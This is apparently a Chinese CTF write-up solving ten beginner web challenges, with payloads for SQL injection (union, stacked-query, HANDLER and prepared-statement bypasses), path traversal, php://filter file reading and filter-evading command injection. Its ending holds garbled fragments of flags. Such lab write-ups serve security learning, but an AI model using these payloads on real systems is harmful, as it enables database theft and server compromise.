1.[极客大挑战 2019]EasySQL

进入环境,发现登录框,先尝试万能密码,burp抓包

发现sql语句报错

确定是单引号闭合,payload=1’ or 1=1 --1

提交成功拿到flag


2.[极客大挑战 2019]Havefun

进入网站,一只小猫,看不出什么东西

查看网页源代码

发现提示要我们传递cat参数,参数值是dog

url处修改提交,成功拿到flag


3.[HCTF 2018]WarmUp

进入环境,一个滑稽头

查看网页源代码,提示文件source.php

拼接路径访问发现源码

先尝试访问hint.php,是假的

审计代码,传入一个file参数,先判断不为空,再判断字符,最后文件检查,满足条件

再看一下checkfile

观察函数为真情况,传入file为白名单的source.php和hint.php即可,至于?截断不需要绕可也可,因为两个true满足一个就行

payload=?file=source.php?../../../../ffffllllaaaagggg

如果不行就再尝试继续目录穿越

最后的payload=?file=source.php?../../../../../ffffllllaaaagggg

成功拿到flag


4.[ACTF2020 新生赛]Include

进入环境,发现一个点击链接

点击去url链接是

http://d2b2008f-e184-4830-90c8-9b8b47ec9fcb.node5.buuoj.cn:81/?file=flag.php

尝试伪协议payload=?file=php://filter/read=convert.base64-encode/resource=flag.php

文件被解析,说明是文件包含漏洞

base64解码,得到flag


5.[ACTF2020 新生赛]Exec

进入环境,发现是个ping命令功能

尝试命令注入,发现" ; "没有被过滤

返回上一级目录

一直到最顶层

发现flag文件,查看得到flag


6.[GXYCTF2019]Ping Ping Ping

进入环境,提示我们get传递ip参数

尝试ping本地,成功

同上题,尝试 ; 命令注入,失败,应该是被过滤了

去掉空格发现又可以了,过滤了空格 (linux命令注入绕过可看:)

尝试查看index.php,知道过滤规则

发现按顺序匹配flag,考虑有没有变量替代,最末代码有一个变量$a,将其替换为g

payload=?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

以为被过滤了,一直试,最后看了眼网页源代码,发现是注释

flag{61a


7.[SUCTF 2019]EasySQL

进入环境,发现一个提交框,题目也很明显提示sql注入,进行尝试

尝试单引号闭合说nononno

行不通,尝试看看正常输入有没有一些提示

最后没做出来,看了其他师傅题解,是来猜后端代码

首先从数字有回显,字符没有知道有一个或的操作

猜测sql语句可能是 select $_POST['query'] from flag

然后就直接用payload=*,1就得到flag,短路语句,最后得到flag

这题值得好好研究,这种黑盒猜测代码的,从语句出发


8.[极客大挑战 2019]LoveSQL

进入环境,登录框,直接先尝试单引号闭合,成功

回显我们的账户名admin,密码

没有直接回显flag,那就正常爆库操作

payload=1’ union select database() #

提示我们先找表的注入点

那么payload=1‘ order by 1#

回显账密错误,一直增大到4,sql报错

然后测试第三个字段可注入,那么就是常规爆库操作

最后得到flag


最后-

9.[极客大挑战 2019]Secret File

进入页面,观察提示查看网页源代码

进入这个链接

发现一个点击交互,查看网页源代码

最后提示我们再看看,burp抓包看看有没有什么信息

发现302跳转有个 secr3t.php,访问看一下

分析有:flag在flag,php里,然后有个../的防目录穿越包含

那就用一下伪协议

payload=?file=php://filter/read=convert.base64-encode/resource=flag.php

文件解析,解码一下得到flag


10.[强网杯 2019]随便注

进入环境,输入数字回显是字符

尝试单引号闭合,字符注入

确定注入,且有2列

判断注入回显

payload=u' union select 1,2,database()#

返回说过滤掉了,还有过滤的规则

select被禁用,那就只能考虑堆叠注入了。

payload=1';show databases -- 1

成功注入

然后还可以通过报错注入获取当前数据库

payload=1' and (extractvalue(1,concat(database(),0x7e)));#

看表:payload=1';show tables -- 1

两个表,words和1919810931114514

分别查看有

payload=1';show columns from words -- 1

payload=1';show columns from `1919810931114514` -- 1

发现flag

解法1:骚姿势,mysql特有的handle可以打开表进行查看

payload=1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;

直接拿到flag

解法2:预编译绕过

payload=1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#


pinj拼se

10

最后

3b-58a最后

d-47f2-b7bd-ac472e05f0ce}